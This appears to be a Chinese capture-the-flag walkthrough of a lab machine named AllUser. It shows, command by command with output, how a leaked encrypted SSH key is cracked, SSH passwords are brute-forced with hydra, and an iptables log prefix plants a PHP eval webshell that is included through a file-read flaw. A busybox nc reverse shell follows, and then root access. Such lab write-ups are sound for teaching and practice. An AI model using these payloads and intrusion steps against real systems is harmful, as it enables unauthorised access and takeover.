目录

MazeSec AllUser

# 存活主机扫描

┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ sudo arp-scan -I eth2 192.168.6.0/24

192.168.6.183   08:00:27:a7:f8:de       PCS Systemtechnik GmbH
1
2
3
4

目标主机:192.168.6.183

# TCP 全端口扫描

┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ nmap -p- -sT 192.168.6.183                

PORT   STATE SERVICE
22/tcp open  ssh
1
2
3
4
5

仅开放 22 端口

UDP top 100 端口扫描,发现 68/udp(DHCP 客户端)开放

┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ nmap -p- -sU --top-ports 100 192.168.6.183

PORT   STATE         SERVICE
68/udp open|filtered dhcpc
1
2
3
4
5

# ssh 服务探测

尝试ssh 登录 root 看看

┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ ssh root@192.168.6.183              
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
6f70656e7373682d6b65792d7631000000000a6165733235362d63747200000006626372797074000000180000001028710c7b422cc65bdda5d950f01227030000001000000001000000330000000b7373682d6564323535313900000020f8f98e7aa6cf296464d4b3c7ca62f61471783237a4e2c8b7a245edf7b639a3ba00000090884782f7fb00e2d9c0895508e00708277582e3852370cc01aeb2b99cacde8cc9c2e3ed94fd6329038e15271090ee568e6059798be51fb9862473beaf44a16d01bbc6ad727ae203fb0c233efe2039d65203aaa85f5ea6e13cfce20c426cc3a6da077ea0750d3b0d487fd4cf30e194a64f13519dc0d442e779ad8fe5318c968cdecb4848a24bc4d1d08937e4c677ec8142
root@192.168.6.183's password: 
1
2
3
4
5
6
7

SSH 返回的数据16进制数据进行转换字符串后以 openssh-key-v1 开头,符合 OpenSSH 私钥文件(v1)的格式

从结构中可以看到:

  • aes256-ctr:用于加密私钥数据;
  • bcrypt:作为 KDF(密钥派生函数),从口令派生出加密所用的密钥

补充:

常见 SSH 私钥的格式主要有两种:

  • PEM 文本格式

以 -----BEGIN RSA PRIVATE KEY-----、-----BEGIN PRIVATE KEY----- 等开头,中间是对 二进制结构 做 base64 编码后的数据。

  • OpenSSH 新格式(openssh-key-v1)

OpenSSH 为支持多种算法自定义的一种私钥容器格式。内部是结构化二进制,以 openssh-key-v1 开头;

通常也会再做一层 base64,并加上 -----BEGIN OPENSSH PRIVATE KEY----- 头尾变成文本文件。

这次靶机返回的是 OpenSSH 新格式的“裸二进制内容” 的十六进制表示。我先把十六进制还原为二进制,再手动做 base64 和 BEGIN/END OPENSSH PRIVATE KEY 封装,让工具能够正常识别和处理。

# 私钥转换

  1. 把十六进制字符串还原为原始二进制数据;

  2. 将这段二进制数据 base64 编码;

  3. 外面手动包上 -----BEGIN/END OPENSSH PRIVATE KEY-----,形成标准 PEM 封装格式。

import base64

hex_str = "6f70656e7373682d6b65792d7631000000000a6165733235362d63747200000006626372797074000000180000001028710c7b422cc65bdda5d950f01227030000001000000001000000330000000b7373682d6564323535313900000020f8f98e7aa6cf296464d4b3c7ca62f61471783237a4e2c8b7a245edf7b639a3ba00000090884782f7fb00e2d9c0895508e00708277582e3852370cc01aeb2b99cacde8cc9c2e3ed94fd6329038e15271090ee568e6059798be51fb9862473beaf44a16d01bbc6ad727ae203fb0c233efe2039d65203aaa85f5ea6e13cfce20c426cc3a6da077ea0750d3b0d487fd4cf30e194a64f13519dc0d442e779ad8fe5318c968cdecb4848a24bc4d1d08937e4c677ec8142"

# 将十六进制字符串转换为二进制数据
data = bytes.fromhex(hex_str)

# 将二进制数据转换为Base64
b64_data = base64.b64encode(data).decode('ascii')

# 构建OpenSSH私钥文件内容
key_file = f"-----BEGIN OPENSSH PRIVATE KEY-----\n{b64_data}\n-----END OPENSSH PRIVATE KEY-----\n"

# 保存到文件
with open("id_rsa", "w") as f:
    f.write(key_file)

print("私钥文件已保存为 id_rsa")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ python3 key.py
1
2

ssh2john 提取John爆破的哈希格式

ssh2john 这个工具的作用,就是解析私钥文件的结构,从中提取出用于密钥派生的关键信息:KDF 函数名 (bcrypt)、盐 (Salt)、迭代次数 (Iterations)

ssh2john id_rsa > id_rsa.hash
1

john 会用 bcrypt 函数,结合文件中提供的盐和迭代次数,对 字典 进行计算,生成一个候选的 AES Key,然后尝试用这个 Key 去解密私钥文件中加密的数据部分。

爆破密码,爆破出密码是 0123456

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
1

使用破解的密码,从私钥文件导出对应的公钥,发现公钥的注释里有用户名 sandu@AllUser

┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ ssh-keygen -y -f id_rsa
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPj5jnqmzylkZNSzx8pi9hRxeDI3pOLIt6JF7fe2OaO6 sandu@AllUser
1
2
3

本地测试,生成过程会自带 username@hostname 注释

# ssh 登录

私钥连接 sandu 用户

ssh -i id_rsa sandu@192.168.6.183
1

在连接过程输入私钥密码 0123456

或者使用 ssh-keygen 移除密码

# 将带密码的私钥转换为无密码私钥
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ ssh-keygen -p -f id_rsa
Enter old passphrase: [输入原密码]
Key has comment 'sandu@AllUser'
Enter new passphrase (empty for no passphrase): [直接回车=无密码]
Enter same passphrase again: [直接回车]
Your identification has been saved with the new passphrase.
1
2
3
4
5
6
7
8

# 意外收获

家目录可以发现 AllUser

sandu@AllUser:~$ ls -alh /home
total 28K
drwxr-xr-x  7 root      root      4.0K Nov 22 08:37 .
drwxr-xr-x 18 root      root      4.0K Mar 18  2025 ..
drwx------  2 damj      damj      4.0K Nov 22 08:37 damj
drwx------  2 mj        mj        4.0K Nov 22 08:36 mj
drwx------  2 oneoneone oneoneone 4.0K Nov 22 08:36 oneoneone
drwx------  3 sandu     sandu     4.0K Nov 22 09:07 sandu
drwx------  2 sublarge  sublarge  4.0K Nov 22 08:36 sublarge
1
2
3
4
5
6
7
8
9

hydra 可以爆破拿到 sandu 以外的用户密码

mj:123456

┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ hydra -l mj -P /usr/share/wordlists/rockyou.txt 192.168.6.183 ssh

[22][ssh] host: 192.168.6.183   login: mj   password: 123456
1
2
3
4

sublarge:0123456

┌──(npc㉿kali)-[~]
└─$ hydra -l sublarge -P /usr/share/wordlists/rockyou.txt 192.168.6.183 ssh -V -t 20
[22][ssh] host: 192.168.6.183   login: sublarge   password: 0123456
1
2
3

damj 没爆出来

oneoneone 猜出来了密码是:oneoneone

# sudo 权限枚举

回到 sandu 用户,查看 sudo 权限

sandu@AllUser:~$ sudo -l
Matching Defaults entries for sandu on AllUser:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sandu may run the following commands on AllUser:
    (ALL) NOPASSWD: /usr/sbin/iptables
1
2
3
4
5
6

可以无密码执行 iptables 命令,无法直接提权

# 内网服务探测

查看本地端口服务,发现 80 端口有 web 服务,不对外开放,socat 转发到外网看看

sandu@AllUser:~$ busybox wget http://192.168.6.101/socat
sandu@AllUser:~$ chmod +x socat
sandu@AllUser:~$ ./socat TCP-LISTEN:8080,fork TCP:127.0.0.1:80 &
1
2
3

访问 http://192.168.6.183:8080,发现url 有?file参数,可能是文件读取或文件包含

尝试路径穿越任意文件读取无果

如果存在文件包含且这个内核日志可控的话,就可以 getshell

# getshell

sandu 用户有 iptables 提权权限,测试 iptables 能否控制内核日志,添加一条规则,将所有输入包日志前添加 TEST 前缀,验证 kern.log 是否是可控的

sudo iptables -A INPUT -j LOG --log-prefix 'TEST'
1

日志出现 TEST 前缀,说明内核日志是可控的

通过控制内核日志,测试是否存在文件包含漏洞,注意不要太长,会被截断导致webshell 失败,无法再次利用,可以提前打个快照

  • syslog 写日志时有行长度/缓冲截断;
  • LFI 包含时,PHP 解释器只能解析到完整的 <?php ... ?> 片段,出现截掉后面?> 的情况会导致语法错误,无法执行。
sudo iptables -A INPUT -j LOG --log-prefix '<?php eval($_GET[1]);?>'
1

验证存在文件包含漏洞,成功执行 php 代码,服务可能会卡死,建议直接反弹shell

busybox nc 192.168.6.101 4444 -e /bin/bash
1

简单交互shell优化

/usr/bin/script  -qc /bin/bash /dev/null
# 按下 Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
1
2
3
4
5
6

# 提权 root

反弹 shell 成功,拿到 www-data 权限

当前 sudo 仅允许无密码执行 /usr/bin/cmatrix,该程序本身无明显提权利用点,所以继续寻找其它突破口。

www-data@AllUser:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on AllUser:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on AllUser:
    (ALL) NOPASSWD: /usr/bin/cmatrix
1
2
3
4
5
6
7
8

一个黑客视觉的字符流终端效果

当前目录下可以读取到 root 用户密码,由于文件名以 -- 开头,直接 cat '--help root password' 会被解析成参数。可以通过 ./'--help root password' 或 cat -- '--help root password' 来规避选项解析。

www-data@AllUser:/var/www/html$ ls -alh
ls -alh
total 28M
-rw-r--r-- 1 root     root       21 Nov 22 08:45 '--help root password'
drwx------ 2 www-data www-data 4.0K Nov 22 17:21  .
drwxr-xr-x 3 root     root     4.0K Apr  4  2025  ..
-rw-r--r-- 1 www-data www-data 1.7K Nov 22 09:06  index.php
-r--r--r-- 1 root     root      28M Nov 23 07:40  kern.log
www-data@AllUser:/var/www/html$ cat ./'--help root password'
cat ./'--help root password'
GLgxSXMQJXMgKvqVM41r
www-data@AllUser:/var/www/html$ su root
su root
Password: GLgxSXMQJXMgKvqVM41r

root@AllUser:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@AllUser:/var/www/html# 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
最后一次更新于: 2025/12/08, 22:11:38